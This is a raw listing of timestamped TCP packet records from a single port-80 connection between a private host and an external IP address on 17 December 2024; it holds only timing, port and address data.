Dec 17, 2024 08:03:20.105482101 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.105528116 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.105571032 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.106317997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.106376886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.106415033 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.106463909 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.107440948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.107503891 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.107640028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.107686043 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.108494997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.108544111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.108592033 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.108694077 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.109579086 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.109621048 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.109662056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.109702110 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.110671997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.110708952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.110716105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.110738993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.111783028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.111835957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.111881971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.111922026 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.112860918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.112906933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.112955093 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.112993002 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.113945007 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.114006996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.114051104 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.114089012 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.115077019 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.115119934 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.115183115 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.115221977 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.116152048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.116195917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.116229057 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.116269112 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.117219925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.117270947 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.117328882 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.117376089 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.118333101 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.118391037 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.118428946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.118472099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.119426966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.119482040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.119618893 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.119618893 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.120486021 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.120534897 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.120614052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.120655060 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.121602058 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.121649027 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.121715069 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.121828079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.122692108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.122744083 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.122796059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.122840881 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.123764038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.123811960 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.123872995 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.123915911 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.124864101 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.124908924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.124970913 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.125014067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.125950098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.125993013 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.126059055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.126102924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.127038956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.127088070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.127139091 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.127182007 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.128108978 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.128154039 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.128222942 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.128264904 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.129232883 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.129281044 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.129311085 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.129353046 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.130310059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.130357981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.130431890 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.130475044 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.131380081 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.131426096 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.131491899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.131536961 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.132483959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.132530928 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.132607937 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.132649899 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.133580923 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.133627892 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.133678913 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.133722067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.134723902 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.134769917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.134828091 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.134872913 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.135787964 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.135834932 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.135869980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.135912895 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.136879921 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.136928082 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.136967897 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.137017012 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.138015032 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.138063908 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.138175011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.138216972 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.139179945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.139230967 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.139292955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.139364004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.140135050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.140178919 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.140222073 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.140263081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.141206980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.141252041 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.141335011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.141377926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.142491102 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.142507076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.142555952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.142555952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.143454075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.143501997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.143595934 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.143640995 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.144536972 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.144586086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.144619942 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.144661903 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.145582914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.145627022 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.145667076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.145709991 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.146651030 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.146693945 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.146760941 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.146802902 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.147757053 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.147803068 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.155458927 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.155574083 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.155572891 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.155622005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.155972958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.156018972 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.156100035 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.156145096 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.157078028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.157130957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.157160997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.157202959 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.158185959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.158236980 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.158276081 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.158345938 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.159239054 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.159282923 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.159349918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.159393072 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.160362959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.160407066 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.160439014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.160480022 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.161864042 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.161906958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.161942959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.162005901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.290301085 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.290358067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.290385962 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.290442944 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.290591955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.290661097 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.290699005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.290852070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.291655064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.291810989 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.292745113 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.292794943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.292879105 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.293826103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.293881893 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.293920994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.294085026 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.294910908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.295027018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.295057058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.295085907 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.296029091 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.296098948 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.296114922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.296281099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.297103882 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.297168016 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.297205925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.297405958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.298211098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.298269987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.298306942 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.298355103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.299323082 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.299392939 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.299521923 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.299649000 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.300364971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.300479889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.300534010 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.301456928 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.301578045 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.302472115 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.302577019 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.302758932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.302829981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.303647041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.303715944 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.303848028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.303899050 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.304735899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.304805040 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.304846048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.305424929 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.305816889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.305924892 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.305989981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.306921005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.307003021 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.307068110 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.308013916 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.308075905 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.308126926 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.309118032 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.309174061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.309237003 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.310658932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.310710907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.310775995 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.311265945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.311423063 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.311477900 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.312367916 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.312427998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.312474966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.312892914 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.313443899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.313570976 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.313627005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.314546108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.314651966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.314666033 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.315635920 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.315733910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.315789938 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.316796064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.316848993 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.317838907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.317898989 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.317939043 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.318564892 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.318892002 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.318950891 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.319015980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.319117069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.320015907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.320096016 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.320111990 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.320154905 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.321140051 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.321193933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.321214914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.321413040 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.322235107 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.322263956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.322295904 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.322305918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.323297024 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.323391914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.324357986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.324408054 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.324469090 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.325069904 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.325449944 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.325575113 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.325711966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.326529980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.326627970 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.326659918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.326801062 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.327667952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.327721119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.327758074 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.327801943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.328732967 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.328845978 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.329915047 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.329963923 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.329967022 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.330646992 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.330907106 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.331029892 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.331070900 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.331994057 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.332103014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.332143068 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.333100080 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.333142996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.333502054 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.333555937 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.334220886 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.334290981 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.334368944 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.335283041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.335392952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.336397886 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.336448908 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.336527109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.336905956 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.337466955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.337542057 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.337591887 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.338542938 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.338592052 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.338644028 CET	80	49844	31.41.244.11	192.168.2.5
